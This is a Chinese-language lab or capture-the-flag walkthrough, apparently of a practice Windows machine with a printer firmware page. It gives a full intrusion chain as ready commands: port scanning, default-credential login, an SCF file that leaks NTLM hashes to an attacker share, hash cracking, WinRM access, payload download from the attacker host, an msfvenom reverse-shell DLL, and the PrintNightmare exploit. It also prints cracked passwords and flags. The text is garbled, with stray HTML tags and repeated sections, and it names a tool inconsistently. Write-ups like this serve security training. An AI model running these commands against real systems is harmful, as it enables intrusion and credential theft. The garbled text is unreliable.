MFP Printer漏洞利用与权限提升完整指南<\/h1>

1. 信息收集阶段<\/h2>

1.1 初始扫描<\/h3>

使用masscan进行快速端口扫描：<\/p>

sudo masscan -p1-65535,U:1-65535 10.10.11.106 --rate=<\/span>1000<\/span> -p1-65535,U:1-65535 -e tun0 > \/tmp\/ports
<\/span><\/span><\/code><\/pre>提取并整理端口信息：<\/p>
ports=<\/span>$(<\/span>cat \/tmp\/ports | awk -F " "<\/span> '{print $4}'<\/span> | awk -F "\/"<\/span> '{print $1}'<\/span> | sort -n | tr '\n'<\/span> ','<\/span> | sed 's\/,$\/\/'<\/span>)<\/span>
<\/span><\/span><\/code><\/pre>使用nmap进行详细扫描：<\/p>
nmap -Pn -sV -sC -p$ports 10.10.11.106
<\/span><\/span><\/code><\/pre>1.2 发现的服务<\/h3>
扫描结果：<\/p>

80\/tcp: Microsoft IIS httpd 10.0

需要Basic认证 (realm=MFP Firmware Update Center)<\/li>
存在TRACE方法<\/li>
<\/ul>
<\/li>
135\/tcp: Microsoft Windows RPC<\/li>
445\/tcp: Microsoft Windows SMB (workgroup: WORKGROUP)<\/li>
5985\/tcp: Microsoft HTTPAPI httpd 2.0 (WinRM)<\/li>
7680\/tcp: filtered (pando-pub)<\/li>
<\/ul>
2. 初始访问<\/h2>
2.1 MFP打印机认证绕过<\/h3>
发现MFP打印机固件更新页面使用Basic认证：<\/p>

尝试默认凭证 admin:admin<\/code> 成功<\/li>
<\/ul>
2.2 SCF文件NTLM中继攻击<\/h3>
创建恶意SCF文件：<\/p>
[Shell]
Command=2
IconFile=\\10.10.16.28\share\test.ico
[Taskbar]
Command=ToggleDesktop
<\/code><\/pre>
当用户访问包含此SCF文件的共享时，会尝试连接到攻击者的共享，泄露NTLM哈希。<\/p>
使用Responder捕获哈希：<\/p>
responder -I tun0
<\/span><\/span><\/code><\/pre>2.3 哈希破解<\/h3>
使用hashcat破解捕获的NTLMv2哈希：<\/p>
hashcat -a 0<\/span> -m 5600<\/span> hashes \/home\/maptnh\/Desktop\/rockyou.txt
<\/span><\/span><\/code><\/pre>成功破解出密码：liltony<\/code><\/p>
3. 获取初始立足点<\/h2>
使用破解的凭据通过WinRM登录：<\/p>
evil-winrm -i 10.10.11.106 -u tony -p liltony
<\/span><\/span><\/code><\/pre>成功获取user flag：

f215191e19ff842c9ec213a1535a77fc<\/code><\/p>
4. 权限提升<\/h2>
4.1 使用Chameleon工具<\/h3>
下载Chameleon工具：<\/p>
Invoke-WebRequest -Uri 'http:\/\/10.10.16.28\/winPEASx64.exe'<\/span> -OutFile 'C:\\Users\\tony\\Documents\\winPEASx64.exe'<\/span>
<\/span><\/span><\/code><\/pre>运行winPEAS进行信息收集：<\/p>
.\winPEASx64.exe
<\/span><\/span><\/code><\/pre>4.2 创建恶意DLL<\/h3>
使用msfvenom生成反向shell DLL：<\/p>
msfvenom -p windows\/x64\/meterpreter\/reverse_tcp lhost=<\/span>10.10.16.28 lport=<\/span>443<\/span> -f dll -o rev443.dll
<\/span><\/span><\/code><\/pre>上传DLL到目标：<\/p>
upload rev443.dll
<\/span><\/span><\/code><\/pre>4.3 利用CVE-2021-1675 (PrintNightmare)<\/h3>
使用公开的漏洞利用脚本：<\/p>
python3 CVE-2021-1675.py tony:liltony@10.10.11.106 'C:\Users\tony\Documents\rev443.dll'<\/span>
<\/span><\/span><\/code><\/pre>4.4 设置Metasploit监听器<\/h3>
msf6 > use exploit\/multi\/handler
<\/span><\/span>msf6 exploit(<\/span>multi\/handler)<\/span> > set payload windows\/x64\/meterpreter\/reverse_tcp
<\/span><\/span>msf6 exploit(<\/span>multi\/handler)<\/span> > set lhost tun0
<\/span><\/span>msf6 exploit(<\/span>multi\/handler)<\/span> > set lport 443<\/span>
<\/span><\/span>msf6 exploit(<\/span>multi\/handler)<\/span> > run
<\/span><\/span><\/code><\/pre>成功获取system权限，读取root flag：

92afbf0a78443ef4b9851b31ec520a29<\/code><\/p>
5. 关键点总结<\/h2>

默认凭证检查<\/strong>：总是尝试常见设备的默认凭证<\/li>
NTLM中继攻击<\/strong>：SCF文件是有效的攻击向量<\/li>
WinRM利用<\/strong>：破解的凭证可以通过WinRM快速获取访问<\/li>
PrintNightmare漏洞<\/strong>：CVE-2021-1675是有效的本地权限提升方法<\/li>
自动化工具<\/strong>：winPEAS和Chameleon可以加速信息收集过程<\/li>
<\/ol>
6. 防御建议<\/h2>

更改所有默认凭证<\/li>
禁用不必要的协议和服务（如SMBv1）<\/li>
实施SMB签名要求<\/li>
及时安装Windows更新，特别是PrintNightmare补丁<\/li>
限制网络共享的访问权限<\/li>
监控异常的网络认证尝试<\/li>
<\/ol>

MFP Printer漏洞利用与权限提升完整指南<\/h1>

1. 信息收集阶段<\/h2>

2. 初始访问<\/h2>

6. 防御建议<\/h2> 更改所有默认凭证<\/li> 禁用不必要的协议和服务（如SMBv1）<\/li> 实施SMB签名要求<\/li> 及时安装Windows更新，特别是PrintNightmare补丁<\/li> 限制网络共享的访问权限<\/li> 监控异常的网络认证尝试<\/li> <\/ol>

6. 防御建议<\/h2>

更改所有默认凭证<\/li>
禁用不必要的协议和服务（如SMBv1）<\/li>
实施SMB签名要求<\/li>
及时安装Windows更新，特别是PrintNightmare补丁<\/li>
限制网络共享的访问权限<\/li>
监控异常的网络认证尝试<\/li> <\/ol>